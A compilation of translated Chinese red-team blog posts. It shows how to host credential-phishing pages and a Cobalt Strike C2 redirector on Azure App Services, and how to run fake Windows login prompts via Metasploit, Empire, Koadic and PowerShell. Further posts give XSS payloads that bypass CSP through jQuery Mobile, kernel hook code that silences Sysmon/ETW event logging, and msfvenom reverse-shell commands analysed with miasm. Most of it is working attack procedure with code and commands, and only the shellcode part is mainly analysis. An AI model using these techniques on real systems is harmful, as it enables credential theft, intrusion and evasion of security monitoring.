*本文仅用于技术交流,严禁用于任何非法用途,违者后果自负

在本博客中,我将介绍如何将Azure App Services用于红队目标。您可能会问什么是Azure应用服务?Microsoft定义的Azure应用服务:

“在容器中或在任何操作系统上运行时,可以快速构建,部署和扩展使用流行框架.NET,.NET Core,Node.js,Java,PHP,Ruby或Python创建的Web应用程序。通过使用完全托管的平台来执行操作和监视任务,可以满足严格的企业级性能,安全性和合规性要求。” —  https://azure.microsoft.com/en-us/services/app-service/

除了能够运行.NET,Python和Node.js等许多平台之外,最棒的是,在部署应用程序时,您会在“ .azurewebsites.net”上收到一个自定义子域。挺好的!使用Azure PowerShell模块也很容易部署网站和应用程序。

在红队目标方面,我们可以使用Azure Apps做什么?

静态HTML页面

PHP网络钓鱼页面

通过Flask进行C2重定向

Microsoft示例:

静态HTML:https : //github.com/Azure-Samples/html-docs-hello-world

NodeJS:https : //github.com/Azure-Samples/nodejs-docs-hello-world

Python:https//github.com/Azure-Samples/python-docs-hello-world

先决条件:

Azure PowerShell模块https://docs.microsoft.com/zh-cn/powershell/azure/install-az-ps?view=azps-3.8.0

Git

Azure PowerShell静态HTML部署

首先,使用以下命令登录到您的Azure服务:az login

要获得所有可用命令的帮助,请使用:az webapp up help

对于静态html部署,请从Web应用程序的根文件夹开始,然后简单地使用以下方法部署应用程序:az webapp up –location eastus –resource-group htmlphishtest –name htmlphishtest –html

请注意,完成部署后,您将拥有一个域“ htmlphishtest.azurewebsites.net”!

在这个简单的示例中,我使用的是“ html-docs-hello-world”页面的修改版本,该页面将为目标提供可执行文件。

这是浏览时的样子:

PHP凭据网络钓鱼

使用来自zphisher平台(https://github.com/htr-tech/zphisher)的 PHP应用程序,我们也可以通过Azure Apps提供凭据收集页面。这需要花费更多的精力,并且需要安装Git。

有关此部署的Microsoft文档,请访问https://docs.microsoft.com/zh-cn/azure/app-service/app-service-web-get-started-php

首先,创建您的部署用户和密码。这些凭证将用于克隆和推送您部署的Git存储库。

az webapp deployment user set --user-name  --password

接下来,创建一个资源组:

az group create –name myResourceGroup –location eastus

创建一个Azure App Service计划:

az appservice plan create –name myAppServicePlan –resource-group myResourceGroup –sku FREE

使用Bash或Powershell创建空的Web应用程序。使用Bash:az webapp create –resource-group myResourceGroup –plan myAppServicePlan –name –runtime “PHP|7.4″ –deployment-local-git

使用PowerShell:az –% webapp create –resource-group myResourceGroup –plan myAppServicePlan –name –runtime “PHP|7.4″ –deployment-local-git

此命令将输出您的应用程序的详细信息,包括要克隆的git URL。从干净的文件夹中,使用为应用程序设置的用户名和密码克隆空的git存储库。

例如:git clone https://myphptestapp2.scm.azurewebsites.net:443/myphptestapp2.git

将您的PHP网络钓鱼应用程序复制到空文件夹中。在这种情况下,我使用了zphisher的“ Microsoft”文件夹。

用git添加文件:

git add *

提交更改:

git commit -a -m “Initial Commit”

将您的仓库推送到您的应用程序:

git push

您的网络钓鱼应用程序现在应托管在azurewebsites.net URL中

现在,要访问日志,请通过位于Azure门户中的应用程序的控制台页面打开一个控制台。

在这种情况下,请在usernames.txt文件中查找所有捕获的凭据。

Flask C2重定向

使用Python Flask应用程序,还可以执行重定向到命令和控制(C2)服务器的操作。在此示例中,我使用的是“魔术头”,如我以前的博客中有关保护重定向器的描述。在Cobalt Strike中,可以在个人资料的“客户”部分下设置此魔术标头。另外,请确保注释掉第一个HEADER变量,然后取消注释第二个HEADER和HEADER_KEY行以在application.py中使用魔术头。

在Python-Flask-Redirector文件夹中,使用您的自定义变量执行以下命令:az webapp up –location eastus –resource-group mynewresourcegroup –name mynewsubdomain –SKU FREE

启动信标后,重定向器将检查魔术头是否存在,否则它将重定向到您选择的站点。请注意通过Azure Apps运行的该信标的外部IP地址。将此范围列入白名单可能会很好。

如果要通过安全FTP管理应用程序,可以通过在“部署中心”中的Azure应用程序设置中启用它来进行管理。有关此的更多信息,请访问https://docs.microsoft.com/zh-cn/azure/app-service/deploy-ftp

*参考来源:trustwave,FB小编周大涛编译,转载请注明来自FreeBuf.COM

在本文中,我们将使用钓鱼技术来收集凭据。

Metasploit框架:phish_windows_credentials

Metasploit带有内置的后期漏洞利用功能,可帮助我们完成任务。由于它是后渗透的模块,因此只需要输入会话即可:

use post/windows/gather/phish_windows_credentials 

set session 1 

exploit

该模块等待用户开始新的过程。启动该过程后,将打开一个虚假的Windows安全对话框,要求用户提供凭据,如下图所示:

当用户输入其凭据时,它们将被捕获并显示,如下图所示:

FakeLogonScreen

FakeLogonScreen工具由Arris Huijgen创建。它是用C#开发的,因为它允许程序注入内存中。我们将使用Metasploit远程执行此工具。但是首先,让我们使用下面提供的链接下载该工具

下载FakeLogonScreen

我们只需从meterpreter会话中上传此工具,然后使用以下命令远程执行它:

upload /root/FakeLogonScreen.exe . 

shell 

FakeLogonScreen.exe

执行后,它将模拟Windows锁定屏幕以从用户获取密码。为此,此工具将显示与配置完全相同的锁定屏幕,以使用户不会感到可疑,如下图所示:

当用户输入凭据时,它将在本地或从域控制器验证凭据,然后将其显示在控制台上,如下图所示:

SharpLocker

此工具与以前的工具非常相似。它是由Matt Pickford开发的。就像FakeLogonScreen一样,此工具也将显示伪造的锁定屏幕,供用户输入凭据,然后将击键的内容转储给攻击者。

下载SharpLocker

我们将首先将该工具从攻击者机器上载到目标系统,然后执行它。因此,当您有meterpreter会话时,只需键入:

upload /root/Downloads/SharpLocker.exe . 

shell

SharpLocker.exe

我们将该工具下载到了桌面上,因此我们将遍历该位置然后执行它

执行后,该工具将触发目标系统的锁定屏幕,如下图所示:

当用户输入密码时,它将捕获按键,直到显示整个密码为止,如下图所示:

PowerShell Empire

PowerShell Empire的此模块将在目标系统上提示一个对话框,要求像我们之前所做的那样获得凭据。我们可以通过以下命令使用此模块:

usemodule collection/prompt 

execute

用户在对话框中输入凭据后,模块将在终端上显示该凭据,如下图所示:

collection/toasted

PowerShell Empire的此模块触发重启通知,就像需要更新并重新启动安装时生成的那样。要使用此模块,以下命令:

usemodule collection/toasted 

execute

模块执行后,将显示以下对话框:

单击“Postpone”按钮后,它将要求提供凭据以验证推迟决策,如下图所示:

当用户输入凭据时,它将打印它们,如下图所示:

Koadic

可以在Koadic中找到与PowerShell Empire中的模块类似的模块。使用Koadic进行会话后,请使用以下命令触发对话框:

use password_box 

execute

当用户在对话框中输入用户名和密码时,密码也将显示在终端中,如下图所示:

PowerShell:Invoke-CredentialsPhish.ps1

有一个可以在PowerShell上运行的脚本,该脚本会创建伪造的登录提示,供用户输入凭据。

下载Invoke-CredentialsPhish.ps1

要启动脚本,请键入:

Import-Module C:\Users\raj\Desktop\Invoke-CredentialsPhish.ps1 

Invoke-CredentialsPhish

执行以上命令将弹出提示询问凭据的提示,如下图所示:

因此,用户输入凭据后,它们将显示在屏幕上,如下图所示:

PowerShell:Invoke-LoginPrompt.ps1

同样,Matt Nelson还开发了另一个脚本。该脚本将再次打开一个对话框,供用户输入密码。

下载Invoke-LoginPrompt.ps1

要启动脚本,请输入以下内容:

Import-Module C:\Users\raj\Desktop\Invoke-LoginPrompt.ps1 

Invoke-LoginPrompt.ps1

如您所见,对话框将出现在屏幕上,并且用户输入了凭据,然后它们将再次显示在终端上。

Lockphish

Lockphish是另一个允许我们仿冒凭据的工具,您可以从此处下载该工具。该工具会创建一个模板,该模板看起来像是将用户重定向到YouTube视频,该模板将托管在PHP服务器中,但是它将提示用户输入登录凭据,然后将其发送给攻击者。

使用以下命令启动该工具:

./lockphish.sh

如上图所示,它将使用ngrok生成链接,并将该链接发送到目标。当目标访问链接时,它询问用户是否保存文件。

在用户输入凭据后,它将把用户重定向到YouTube。

然后,在执行下载的文件时,将触发锁定屏幕,并且将迫使用户输入凭据,如下图所示:

这样,我们将拥有我们的凭据,如下图所示:

结论

这些是我们可以用来转储目标系统凭据的各种方法。根据情况,应使用适当的方法来转储凭据。PowerShell方法最好用于验证凭据,因为在输入正确的凭据之前提示不会关闭。Lockphish方法无法像其他工具一样准确地创建锁定屏幕,并且它也不会验证凭据。因此,每种方法和工具都有其优点和缺点。但是他们都还不错。

参考来源:hackingarticles,FB小编周大涛编译,转载请注明来自FreeBuf.COM

XSS已有近二十年的历史了,但它仍然是Web上最常见的漏洞之一。因此,已经发展了许多机制来减轻漏洞的影响。我经常会误以为这些机制可以作为针对XSS的保护。今天,我们将了解为什么情况并非如此。我们将在代码重用攻击领域探索一种相对较新的技术。Web的代码重用攻击于2017年首次描述,可用于绕过大多数现代浏览器保护,包括:HTML sanitizers,WAF和CSP。

介绍

让我们使用示例进行演示:

<?php 
/* File: index.php */
// CSP disabled for now, will enable later
// header("Content-Security-Policy: script-src 'self' 'unsafe-eval'; object-src 'none';");
?>

<!DOCTYPE html>
<html lang="en">
<body>
 <div id="app">
 </div>
 <script src="http://127.0.0.1:8000/main.js"></script>
</body>
</html>
/** FILE: main.js **/
var ref=document.location.href.split("?injectme=")[1];
document.getElementById("app").innerHTML = decodeURIComponent(ref);

该程序具有基于DOM的XSS漏洞。Main.js获取GET参数injectme的值,并将其作为原始HTML插入到DOM中。这是一个问题,因为用户可以控制参数的值。因此,用户可以随意操作DOM。下面的请求是一个poc,证明我们可以注入任意JavaScript。

http://127.0.0.1:8000/?injectme=<img src="n/a" onerror="alert('XSS')"/>

image元素将插入到DOM中,并且在加载期间会出错,从而触发onerror事件处理程序。这会弹出一个警告消息,提示“ XSS”,证明我们可以使该应用运行任意JavaScript。

现在,通过删除index.php中第5行的注释来启用内容安全策略。然后重新加载页面,您将看到攻击失败。如果在浏览器中打开开发者控制台,则会看到一条说明原因的消息。

凉!所以发生了什么事?IMG html元素已创建,浏览器看到了onerror事件属性,但由于CSP而拒绝执行JavaScript。

用一个不切实际的简单小工具绕过CSP

在我们的示例中,CSP限制–允许来自同一主机的JavaScript–阻止危险的功能,例如eval(不安全的eval)–阻止了所有其他脚本–阻止了所有对象(例如flash)

但是,如果我们能以某种方式触发CSP白名单中已经存在的JavaScript代码怎么办?如果是这样,我们也许可以执行任意JavaScript而不会违反该政策。让我们看一个小工具的简单示例,以了解基本概念。

假设main.js文件看起来像这样:

/** FILE: main.js **/
var ref = document.location.href.split("?injectme=")[1];
document.getElementById("app").innerHTML = decodeURIComponent(ref);

document.addEventListener("DOMContentLoaded", function() {        
   var expression = document.getElementById("expression").getAttribute("data");
   var parsed = eval(expression);
   document.getElementById("result").innerHTML = '<p>'+parsed+'</p>';
});

代码基本相同,但是这次我们的目标也有某种数学计算器。请注意,仅main.js被更改,index.php与以前相同。您可以将数学函数视为一些未真正使用的旧代码。

作为攻击者,我们可以滥用数学计算器代码来评估并执行JavaScript,而不会违反CSP。我们不需要注入JavaScript。我们只需要注入一个ID为“ expression”和一个名为“ data”的属性的HTML元素。内部数据将传递给eval。

我们试一试,是的!我们绕过了CSP!

转向现实的脚本小工具

如今的网站包含许多第三方资源,而且情况越来越糟。这些都是合法的列入白名单的资源,即使强制执行了CSP。数百万行的JavaScript中也许有有趣的小工具?嗯,是!Lekies等。(2017)分析了16个广泛使用的JavaScript库,发现几乎所有库中都有多个小工具。

小工具有几种类型,它们可以直接有用,或者需要与其他小工具链接才能有用。

字符串操作小工具:用于绕过基于模式的缓解措施很有用。元素构造小工具:

有助于绕过XSS缓解措施,例如创建脚本元素。函数创建小工具:可以创建新的函数对象,以后可以由第二个小工具执行。JavaScript执行接收器小工具:类似于我们刚才看到的示例,可以独立运行,也可以作为链中的最后一步

让我们看另一个例子。我们将使用相同的应用程序,但现在让我们包括jQuery mobile。

<?php 
/** FILE: index.php **/
header("Content-Security-Policy: script-src 'self' https://code.jquery.com:443 'unsafe-eval'; object-src 'none';");
?>

<!DOCTYPE html>
<html lang="en">
<body>
 <p id="app"></p>
 <script src="http://127.0.0.1:8000/main.js"></script>
 <script src="https://code.jquery.com/jquery-1.8.3.min.js"></script>
 <script src="https://code.jquery.com/mobile/1.2.1/jquery.mobile-1.2.1.min.js"></script>
</body>
</html>
/** FILE: main.js **/
var ref = document.location.href.split("?injectme=")[1];
document.getElementById("app").innerHTML = decodeURIComponent(ref);

CSP进行了少许更改,以允许来自code.jquery.com的任何内容,幸运的是,jQuery Mobile有一个已知的脚本小工具可供我们使用。该小工具还可以严格动态地绕过CSP。

让我们首先考虑以下html

<div data-role=popup id='hello world'></div>

此HTML将触发jQuery Mobile的Popup Widget中的代码。可能不明显的是,当您创建弹出窗口时,库会将id属性写入HTML注释中。

jQuery中负责此工作的代码如下所示:

这是一个代码小工具,我们可以滥用它来运行JavaScript。我们只需要绕过注释,然后我们就可以做我们想做的任何事情。

我们最终的payload将如下所示:

<div data-role=popup id='--!><script>alert("XSS")</script>'></div>

执行,弹框!

最后的话

这是对Web上的代码重用攻击的介绍,我们已经看到了jQuery Mobile中的真实脚本小工具的示例。我们只看到过CSP绕过,但可以说,该技术也可以绕过HTML清理器,WAF和XSS过滤器(例如NoScript)。如果您对更深的潜水感兴趣,建议阅读Lekies等人的论文。

真实情况是国内src一般忽视反射xss!

*参考来源:truesec,FB小编周大涛编译,转载请注明来自FreeBuf.COM

一言不合就上GitHub地址

SysmonWindows事件日志都是防御者中极为强大的工具。它们非常灵活的配置使他们可以深入了解设备上的活动,从而使检测攻击者的过程变得更加容易。出于这个原因,我将带领您完成击败他们的旅程;)

xpnmatterpreter对此进行了一些出色的研究。他们的解决方案都不错,但是不能完全满足我的需求。Metterpreter的卸载驱动程序的方法在技术上是可以做到的,但是卸载驱动程序感觉很不ok。特别是触发了很多非常明显的事件。

为了弄清楚如何绕过它,至关重要的是首先了解它是如何工作的。

启动Ghidra并启动sysmon64.exe,我们可以看到它使用ReportEventWWindows API调用来报告事件。

现在我们知道了,可以hook 该调用并从那里阻止事件……然鹅这有什么卵用呢?我们仍然需要管理员权限来做到这一点,我认为我们可以更好地利用它们。

深入调用链并查看ReportEventWADVAPI32.dll,我们可以看到它实质上EtwEventWriteTransfer是在NTDLL.dll中定义的包装器。

通过检查,EtwEventWriteTransfer我们可以看到它调用了NtTraceEventntoskrnl.exe内部定义的内核函数。

现在我们知道,任何要报告事件的用户模式进程都将调用此函数,太棒了!这是可视化此过程的快速图表。

现在我们知道了要定位的内核功能,让我们集中精力进行测试以查看其是否真正起作用。为此,我将使用WinDBG内核调试,有关更多信息,请参见此处

我将从设置一个断点开始,nt!NtTraceEvent然后在该断点被击中时,我将使用修补函数的开始ret。这将迫使函数在运行任何事件报告代码之前立即返回。

而且有效!如果您在下面看,您将看到我能够启动Powershell提示而不会触发任何sysmon事件。

因此,现在我们可以使用来开始编写PoC代码了。我们想要编写的代码将需要hook ,NtTraceEvent并为我们提供是否报告事件的选择。由于我们要定位的函数是内核函数,因此我们也需要使hook 代码在内核空间中运行。尝试执行此操作时,我们将遇到两个主要问题。

Kernel driver signing enforcement

PatchGuard

幸运的是,为了实现,已经有两个超酷的项目,@ hFireF0xInfinityHook。我不会详细介绍它们的工作原理,因为它们各自的链接上有很多信息。但是我很高兴,因为这省了我很多时间,因为我不需要编写自己的bypass。

我将首先编写要在内核中运行的代码,所有链接都可以在此处找到。就在的开始DriverEntry,我们将需要找到两者的出口NtTraceEvent和IoCreateDriver。我们需要找到的原因IoCreateDriver是由于KDU。它会通过加载和利用签名的驱动程序,然后引导我们到内核空间加载我们的driver,装载我们的driver 的这种方法将意味着,无论是DriverObject和RegistryPath传递给DriverEntry将是不正确的。但是因为我们需要能够与用户模式过程进行通信(因此我们知道何时报告和阻止事件),所以我们需要创建一个有效的DriverObject。为此,我们可以调用IoCreateDriver它的DriverInitialize例程地址并将其提供给我们DriverInitialize然后将调用并传递一个有效值DriverObject,该有效值可最终用于创建IOCTL,让我们与用户模式进行交流。此代码段如下。

NTSTATUS DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath)
{
NTSTATUS        status;
UNICODE_STRING  drvName;
UNREFERENCED_PARAMETER(DriverObject);
UNREFERENCED_PARAMETER(RegistryPath);
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[+] infinityhook: Loaded.\r\n");
OriginalNtTraceEvent = (NtTraceEvent_t)MmGetSystemRoutineAddress(&StringNtTraceEvent);
OriginalIoCreateDriver = (IoCreateDriver_t)MmGetSystemRoutineAddress(&StringIoCreateDriver);
if (!OriginalIoCreateDriver)
{
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[-] infinityhook: Failed to locate export: %wZ.\n", StringIoCreateDriver);
return STATUS_ENTRYPOINT_NOT_FOUND;
}
if (!OriginalNtTraceEvent)
{
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[-] infinityhook: Failed to locate export: %wZ.\n", StringNtTraceEvent);
return STATUS_ENTRYPOINT_NOT_FOUND;
}
RtlInitUnicodeString(&drvName, L"\\Driver\\ghostinthelogs");
status = OriginalIoCreateDriver(&drvName, &DriverInitialize);
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[+] Called OriginalIoCreateDriver status: 0x%X\n", status);
NTSTATUS Status = IfhInitialize(SyscallStub);
if (!NT_SUCCESS(Status))
{
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[-] infinityhook: Failed to initialize with status: 0x%lx.\n", Status);
}
return Status;
}

找到出口并获得有效的出口后,DriverObject我们现在可以使用InfinityHook初始化NtTraceEvent钩子。该功能IfhInitialize执行此操作。我调用IfhInitialize并将其传递给我的回调的指针。每次进行系统调用时都会命中此回调。给回调函数提供了指向将要调用的函数地址的指针。可以访问该指针意味着我们可以将其更改为指向钩子函数的地址。回调代码如下所示。

void __fastcall SyscallStub(
_In_ unsigned int SystemCallIndex,
_Inout_ void** SystemCallFunction)
{
UNREFERENCED_PARAMETER(SystemCallIndex);
if (*SystemCallFunction == OriginalNtTraceEvent)
{
*SystemCallFunction = DetourNtTraceEvent;
}
}

此代码会将每个调用重定向NtTraceEvent到我们的DetourNtTraceEvent。的代码DetourNtTraceEvent如下所示。

NTSTATUS DetourNtTraceEvent(
_In_ PHANDLE TraceHandle,
_In_ ULONG Flags,
_In_ ULONG FieldSize,
_In_ PVOID Fields)
{
if (HOOK_STATUS == 0)
{
return OriginalNtTraceEvent(TraceHandle, Flags, FieldSize, Fields);
}
return STATUS_SUCCESS;
}

这段代码非常简单。它将检查HOOK_STATUS(由用户模式进程通过IOCTL设置)是否为0,如果为0,则它将执行调用NtTraceEvent,从而报告事件。如果HOOK_STATUS非零,它将返回以STATUS_SUCCESS表明该事件已成功报告,当然不是。如果有人能弄清楚如何解析该Fields参数,那么可以对所报告的事件应用过滤器,这很酷;如果您联系我,我将为您提供我所拥有的所有信息,告诉你我还有多远,我们也许可以解决;)

因为我想将所有驱动程序都保留为一个可执行文件,所以我将这个驱动程序嵌入到可执行文件中,因此当需要使用它时,它将被解压缩,然后KDU会将其加载到内核中。

我不会详细介绍其余的代码,因为它主要是KDU并从用户模式与驱动程序进行交互,但是如果您有兴趣,可以在这里找到。

这样有效吗?

是的:)好吧,在我测试过的所有东西上,如果您发现它无法正常工作,或者有任何一般性的错误让我知道,我会尝试修复它们。另外,我不是程序员,所以我的代码将远非完美,但可以使用任何您能想到的很棒的功能随意发出请求!

这是它运行及其各种功能的一些示例。

加载驱动程序并设置挂钩

启用挂钩(禁用所有日志记录)

获取挂钩的状态

禁用挂钩(启用所有日志记录)

*参考来源:dylan,FB小编周大涛编译,转载请注明来自FreeBuf.COM

Shellcode是一个有趣的东西,我一直想使用miasm来学习很久了(因为几年前我在SSTIC上看到了第一次演讲),现在,我终于可以在这个新冠的夜晚里学习了。

Linux Shellcode

让我们从Linux shellcode开始,因为它们不如Windows shellcode复杂。

msfvenom -p linux/x86/exec CMD=/bin/ls -a x86 --platform linux -f raw > sc_linux1

让我们用miasm反汇编shellcode:

from miasm.analysis.binary import Container
from miasm.analysis.machine import Machine
with open("sc_linux1", "rb") as f:
    buf = f.read()
container = Container.from_string(buf)
machine = Machine('x86_32')
mdis = machine.dis_engine(container.bin_stream)
mdis.follow_call = True # Follow calls
mdis.dontdis_retcall = True # Don't disassemble after calls
disasm = mdis.dis_multiblock(offset=0)
print(disasm)

我们得到以下代码:

loc_key_0
PUSH       0xB
POP        EAX
CDQ
PUSH       EDX
PUSHW      0x632D
MOV        EDI, ESP
PUSH       0x68732F
PUSH       0x6E69622F
MOV        EBX, ESP
PUSH       EDX
CALL       loc_key_1
->c_to:loc_key_1
loc_key_1
PUSH       EDI
PUSH       EBX
MOV        ECX, ESP
INT        0x80
[SNIP]

这里没有什么奇怪的,INT 0×80正在调用系统,并且系统调用代码在第一行移至EAX,0xB是的代码execve。我们可以CALL loc_key_1通过在指令地址+大小和的地址之间取数据来轻松获得数据后的地址loc_key1:

> inst = list(disasm.blocks)[0].lines[10] # Instruction 10 of block 0
> print(buf[inst.offset+inst.l:disasm.loc_db.offsets[1]])
b'/bin/ls\x00'

接下来我们再来一个更复杂的shellcode:

msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.2.2.14 LPORT=1234 -f raw > sc_linux2

该代码中有条件跳转,我们换成图形化来阅读:

from miasm.analysis.binary import Container
from miasm.analysis.machine import Machine
with open("sc_linux2", "rb") as f:
    buf = f.read()
container = Container.from_string(buf)
machine = Machine('x86_32')
mdis = machine.dis_engine(container.bin_stream)
mdis.follow_call = True # Follow calls
mdis.dontdis_retcall = True # Don't disassemble after calls
disasm = mdis.dis_multiblock(offset=0)
open('bin_cfg.dot', 'w').write(disasm.dot())

要想从静态就理解有点困难,因此让我们看看是否可以使用miasm来模拟它。

模拟指令非常容易:

from miasm.analysis.machine import Machine
from miasm.jitter.csts import PAGE_READ, PAGE_WRITE
myjit = Machine("x86_32").jitter("python")
myjit.init_stack()
data = open('sc_linux2', 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
myjit.set_trace_log()
myjit.run(run_addr)

Miasm模拟所有指令,直到我们到达第一个int 0×80调用为止:

40000000 PUSH       0xA
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000002 zf 0 nf 0 of 0 cf 0
40000002 POP        ESI
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 0000000A EDI 00000000 ESP 01240000 EBP 00000000 EIP 40000003 zf 0 nf 0 of 0 cf 0
[SNIP]
40000010 INT        0x80
EAX 00000066 EBX 00000001 ECX 0123FFF4 EDX 00000000 ESI 0000000A EDI 00000000 ESP 0123FFF4 EBP 00000000 EIP 40000012 zf 0 nf 0 of 0 cf 0
Traceback (most recent call last):
  File "linux1.py", line 11, in <module>
    myjit.run(run_addr)
  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 423, in run
    return self.continue_run()
  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 405, in continue_run
    return next(self.run_iterator)
  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 373, in runiter_once
    assert(self.get_exception() == 0)
AssertionError

默认情况下,miasm计算机不执行系统调用,但是可以为该异常添加异常处理程序EXCEPT_INT_XX(EXCEPT_SYSCALL对于Linux x86_64)并自己实现。让我们先打印系统调用号码:

from miasm.jitter.csts import PAGE_READ, PAGE_WRITE, EXCEPT_INT_XX
from miasm.analysis.machine import Machine
def exception_int(jitter):
    print("Syscall: {}".format(jitter.cpu.EAX))
    return True
myjit = Machine("x86_32").jitter("python")
myjit.init_stack()
data = open('sc_linux2', 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
myjit.add_exception_handler(EXCEPT_INT_XX, exception_int)
myjit.run(run_addr)

这给了我们系统调用:

Syscall: 102
Syscall: 102

在意识到miasm已经集成了多个syscall实现和使它们由虚拟机执行的方法之前,我开始重新实现 shellcode经常使用的一些syscall。我已经提交了一些额外的系统调用的PR,然后我们可以模拟shellcode:

myjit = Machine("x86_32").jitter("python")
myjit.init_stack()
data = open("sc_linux2", 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
log = logging.getLogger('syscalls')
log.setLevel(logging.DEBUG)
env = environment.LinuxEnvironment_x86_32()
syscall.enable_syscall_handling(myjit, env, syscall.syscall_callbacks_x86_32)
myjit.run(run_addr)

我们得到以下syscall跟踪:

[DEBUG   ]: socket(AF_INET, SOCK_STREAM, 0)
[DEBUG   ]: -> 3
[DEBUG   ]: connect(fd, [AF_INET, 1234, 10.2.2.14], 102)
[DEBUG   ]: -> 0
[DEBUG   ]: sys_mprotect(123f000, 1000, 7)
[DEBUG   ]: -> 0
[DEBUG   ]: sys_read(3, 123ffe4, 24)

因此,使用miasm分析linux shellcode非常容易,您可以使用此脚本

windows

由于无法在Windows上对系统调用指令,因此Windows Shellcode需要使用共享库中的函数,这需要使用LoadLibrary和GetProcAddress加载它们,后者首先需要在kernel32.dll DLL文件中找到这两个函数地址。记忆。

让我们用metasploit生成第一个shellcode:

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443   -f raw > sc_windows1

我们可以使用上面用于Linux的完全相同的代码来生成调用图:

在这里,我们看到了大多数shellcode用来获取其自身地址的技巧之一,CALL就是将下一条指令的地址压入堆栈,然后将其存储在EBP中POP。因此CALL EBP,最后一条指令的,就是在第一次调用之后立即调用该指令。而且由于此处仅使用静态分析,所以miasm无法知道EBP中的地址。

我们仍然可以在第一次调用后手动反汇编代码:

inst = inst = list(disasm.blocks)[0].lines[1] # We get the second line of the first block
next_addr = inst.offset + inst.l # offset + size of the instruction
disasm = mdis.dis_multiblock(offset=next_addr)
open('bin_cfg.dot', 'w').write(disasm.dot())

在这里,我们看到的shellcode首先通过以下寻找KERNEL32的地址PEB,PEB_LDR_DATA并LDR_DATA_TABLE_ENTRY在内存中的结构。让我们模拟一下:

from miasm.jitter.csts import PAGE_READ, PAGE_WRITE
from miasm.analysis.machine import Machine
def code_sentinelle(jitter):
    jitter.run = False
    jitter.pc = 0
    return True
myjit = Machine("x86_32").jitter("python")
myjit.init_stack()
data = open("sc_windows1", 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
myjit.set_trace_log()
myjit.push_uint32_t(0x1337beef)
myjit.add_breakpoint(0x1337beef, code_sentinelle)
myjit.run(run_addr)
40000000 CLD
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000001 zf 0 nf 0 of 0 cf 0
40000001 CALL       loc_40000088
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 00000000 EIP 40000088 zf 0 nf 0 of 0 cf 0
40000088 POP        EBP
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 40000006 EIP 40000089 zf 0 nf 0 of 0 cf 0
40000089 PUSH       0x3233
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 40000006 EIP 4000008E zf 0 nf 0 of 0 cf 0
[SNIP]
4000000B MOV        EDX, DWORD PTR FS:[EAX + 0x30]
WARNING: address 0x30 is not mapped in virtual memory:
Traceback (most recent call last):
[SNIP]
RuntimeError: Cannot find address

一直进行到到达为止MOV EDX, DWORD PTR FS:[EAX + 0x30],此指令从内存中的FS段获取TEB结构地址。但是在这种情况下,miasm仅模拟代码,而未在内存中加载任何系统段。为此,我们需要使用miasm的完整Windows Sandbox,但是这些VM仅运行PE文件,因此,我们首先使用简短的脚本使用lief将shellcode转换为完整的PE文件:

from lief import PE
with open("sc_windows1", "rb") as f:
    data = f.read()
binary32 = PE.Binary("pe_from_scratch", PE.PE_TYPE.PE32)
section_text                 = PE.Section(".text")
section_text.content         = [c for c in data] # Take a list(int)
section_text.virtual_address = 0x1000
section_text = binary32.add_section(section_text, PE.SECTION_TYPES.TEXT)
binary32.optional_header.addressof_entrypoint = section_text.virtual_address
builder = PE.Builder(binary32)
builder.build_imports(True)
builder.build()
builder.write("sc_windows1.exe")

现在,让我们使用一个miasm沙箱来运行此PE,该沙箱可以选择use-windows-structs将Windows结构加载到内存中(请参见此处的代码):

from miasm.analysis.sandbox import Sandbox_Win_x86_32
class Options():
    def __init__(self):
        self.use_windows_structs = True
        self.jitter = "gcc"
        #self.singlestep = True
        self.usesegm = True
        self.load_hdr = True
        self.loadbasedll = True
    def __getattr__(self, name):
        return None
options = Options()
# Create sandbox
sb = Sandbox_Win_x86_32("sc_windows1.exe", options, globals())
sb.run()
assert(sb.jitter.run is False)

该选项loadbasedll是基于名为的文件夹中的现有dll将DLL结构加载到内存中win_dll(您需要Windows x86_32 DLL)。执行后,出现以下崩溃:

[SNIP]
[INFO    ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b
[WARNING ]: warning adding .dll to modulename
[WARNING ]: ws2_32.dll
Traceback (most recent call last):
  File "windows4.py", line 18, in <module>
    sb.run()
    [SNIP]
  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 479, in handle_lib
    raise ValueError('unknown api', hex(jitter.pc), repr(fname))
ValueError: ('unknown api', '0x71ab6a55', "'ws2_32_WSAStartup'")

如果我们查看文件jitload.py,它实际上调用了在win_api_x86_32.py中实现的DLL函数,并且我们看到kernel32_LoadLibrary确实实现了该函数,但没有实现WSAStartup,因此我们需要自己实现它。

